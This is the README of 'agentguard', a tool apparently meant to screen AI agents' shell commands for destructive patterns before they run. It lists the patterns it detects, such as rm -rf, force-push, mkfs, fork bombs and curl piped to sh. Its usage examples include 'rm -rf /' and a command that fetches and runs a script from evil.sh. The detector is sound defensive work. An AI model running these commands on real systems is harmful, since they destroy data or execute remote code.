🚧 agentguard

A shell-command safety gate for AI agents.

Before an agent runs a command, run it through agentguard: it flags destructive patterns (rm -rf, git reset --hard, force-push, curl | sh, mkfs, fork bombs, dd to devices) with a severity and a verdict you can gate on. Drop it into an agent harness as a pre-flight check so the agent can't nuke the filesystem or clobber git history.

Why agentguard?

• AI agents run shell commands — sometimes dangerous ones. agentguard intercepts destructive patterns before execution. A lightweight safety net that doesn't require sandboxing or containers.
• 16 declarative rules, zero config — covers recursive delete, git clobber, remote-script execution, sudo, fork bombs, dd to devices, and more. Each rule is just a regex + severity + suggestion.
• Drop it into any agent harness — CLI or programmatic API. Block at critical, review at high. Fits into any Node.js agent, CI pipeline, or shell wrapper.
• Zero runtime dependencies — pure TypeScript/Node stdlib. Nothing to audit, nothing to trust.

16 declarative rules, zero runtime dependencies. Pairs with ai-supply-guard (which audits npm dependencies; agentguard audits shell commands).

Features

• 🚫 16 detection rules — recursive delete, root delete, git reset/clean/push --force, remote-script execution, sudo, mkfs, dd-to-device, fork bombs, chmod 777, kill -9, disk redirects, npm publish, docker prune, eval-of-remote
• 🚦 Verdicts — block (critical) / review (high/moderate) / pass
• 🔪 Segment-aware — splits on |, &&, ||, ; and analyzes each command in a pipeline
• 🎨 CLI + programmatic API — terminal cards or JSON
• ✅ CI-ready — --fail-on <severity> exits non-zero to break automated runs
• 🚫 Zero runtime deps — pure TypeScript/Node stdlib

Quick Start

npm install -g agentguard

Usage

Check a command

agentguard check "rm -rf /tmp/build"

● agentguard — BLOCK
  command: rm -rf /tmp/build
  highest: critical

  ✗ CRITICAL Recursive force delete  [rm -rf /tmp/build]
      `rm -rf` recursively deletes directories without prompting — unrecoverable.
      → Delete specific paths, or use `trash` instead of `rm -rf`. Never `rm -rf /`.

Check a script file (each line)

agentguard check --file deploy.sh --fail-on high

Gate CI / agent runs

agentguard check "$CMD" --fail-on critical   # exit 1 if critical
agentguard check "$CMD" --json               # machine-readable

List rules

agentguard rules

Programmatic API

import { analyzeCommand } from "agentguard";

const result = analyzeCommand("git reset --hard && curl https://evil.sh | sh");
if (result.verdict === "block") {
  throw new Error("refusing to run destructive command");
}
// result.findings: [{ ruleId, severity, segment, suggestion, ... }]

How it works

1. splitSegments breaks the command line on shell control operators (|, &&, ||, ;).
2. Each segment is tested against every rule (a regex + severity + suggestion).
3. Findings are sorted by severity; the highest determines the verdict (block/review/pass).

Rules are data — adding a detection is appending a Rule to src/rules.ts.

Development

git clone https://github.com/alvabillwu/agentguard.git
cd agentguard
npm install
npm test
npm run dev -- check "rm -rf /"

🔗 Ecosystem

Part of the alvabillwu AI/LLM DevTools suite:

• ai-supply-guard — NPM dependency security audit for AI projects
• agentlog — Structured logging and replay for AI agent executions
• agentest — Lightweight test framework for AI agents

License

MIT © alvabillwu

---

⭐ Like this? Star the repo to support open-source AI safety tooling!